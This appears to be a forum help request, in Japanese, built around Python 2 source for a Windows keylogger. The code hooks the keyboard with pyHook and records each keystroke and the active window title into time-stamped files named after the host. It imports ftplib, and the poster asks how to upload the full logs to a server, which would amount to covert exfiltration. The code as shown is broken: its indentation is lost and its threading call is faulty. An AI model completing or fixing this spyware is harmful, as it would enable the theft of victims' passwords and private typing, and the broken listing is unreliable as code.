import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
コードの最初のブロック def fi() は、ファイル サイズが 20KB を超えたときに新しいファイルを作成しています。2 番目のブロックはキーロガーで、キーをファイルに記録します。私はPythonとマルチスレッドが初めてです。今、このコードを実行すると。キーロガーを機能させることしかできず、ファイルは形成されず、ログも作成されません。これで私を助けてください。
- このコードで必要なのは、現在の時刻に基づいた名前のログ ファイルを作成し、すべてのキーワードをファイルに記録することだけです。ファイルが 20KB を超えた場合は、古いファイルをサーバーにアップロードし、新しい現在時刻で新しいファイルを作成する必要があります。私はpythonが初めてなので、このコードがどこで間違っているのか、何をしていないのかわかりません.*